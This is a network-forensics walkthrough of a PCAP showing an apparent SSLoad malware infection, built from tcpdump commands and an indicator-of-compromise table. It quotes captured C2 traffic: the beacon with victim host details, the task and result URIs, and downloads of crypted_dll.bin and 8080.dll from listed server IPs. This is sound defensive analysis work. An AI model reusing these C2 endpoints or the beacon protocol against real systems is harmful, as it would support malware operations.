

Tcpdump PCAP Investigation

Case: tcpdump_sample02.pcap

Set the PCAP variable

```
PCAP="tcpdump_sample02.pcap"
```

Check the time range

```
tcpdump -r "$PCAP" -nn -tttt 2>/dev/null | head -1  
tcpdump -r "$PCAP" -nn -tttt 2>/dev/null | tail -1
```

Identify the main IP addresses

```
tcpdump -tt -r "$PCAP" -n tcp 2>/dev/null | cut -d " " -f 3 | cut -d "." -f 1-4 | sort | uniq -c | sort -nr  
  
tcpdump -tt -r "$PCAP" -n tcp 2>/dev/null | cut -d " " -f 5 | cut -d "." -f 1-4 | sort | uniq -c | sort -nr
```

10.4.18.169 → Internal victim

85.239.53.219 → Suspicious malware/C2 server

212.18.104.28 → Second suspicious download server

Investigate 85.239.53.219

```
tcpdump -r "$PCAP" -nn -tttt -A "host 85.239.53.219 and tcp port 80" 2>/dev/null \  
| grep -aiE "GET |POST"
```

Google this unusual User-Agent "SSLoad"

Google "SSLoad" "ioc" for additional indicators.

```
tcpdump -r "$PCAP" -nn -tttt -A "host 85.239.53.219 and tcp port 80" 2>/dev/null \  
| grep -aiE "2024-|GET |POST |HTTP/|Host:|User-Agent:|Content-Type:|Content-Length:|Content-  
Disposition:|filename=|hostname|domain|cur_user|owner|job_id|result"
```

Important findings:

```
GET /api/g HTTP/1.1  
Host: 85.239.53.219  
User-Agent: SSLoad/1.1  
Content-Type: LosAngeles  
  
HTTP/1.1 200 OK  
Content-Type: application/x-msdos-program  
Content-Length: 207928  
Content-Disposition: attachment; filename=crypted_dll.bin  
  
{ "version": "v1.3.1", "ip": "173.66.46.112", "domain": "PARTRIDGECLIFF", "hostname": "DESKTOP -  
PQB4TRZ", "arch": "x86", "os_version": "Windows 10.0.22631", "cur_user": "User", "owner": "LosAngeles" }  
  
POST /api/1f4b0ad7-0502-68bf-b0aa-fe57ec45c025/tasks HTTP/1.1  
{ "job_id": "3332c182-4b2a-47dd-9dcf-d0e97bfe71d4", "result": "C8iAvQ==" }
```

Investigate 212.18.104.28

```
tcpdump -r "$PCAP" -nn -tttt -A "host 212.18.104.28 and tcp port 80" 2>/dev/null \  
| grep -aiE "2024-|GET |HTTP/|Host:|User-Agent:|Content-Type:|Content-Length:|MZ"
```

Important findings:

```
GET /8080.dll HTTP/1.1  
Host: 212.18.104.28  
  
HTTP/1.1 200 OK  
Content-Type: application/octet-stream  
Content-Length: 1728000  
  
MZ  
This program cannot be run in DOS mode.  
PE
```

Indicators of Compromise

Type	IOC
Victim IP	10.4.18.169
Victim hostname	DESKTOP-PQB4TRZ
Domain	PARTRIDGECLIFF
C2 server	85.239.53.219
Secondary download server	212.18.104.28
User-Agent	SSLoad/1.1
Download URI	/api/g
Downloaded file	crypted_dll.bin
Second download URI	/8080.dll
Task URI	/api/1f4b0ad7-0502-68bf-b0aa-fe57ec45c025/tasks
Result URI	/api/1f4b0ad7-0502-68bf-b0aa-fe57ec45c025/result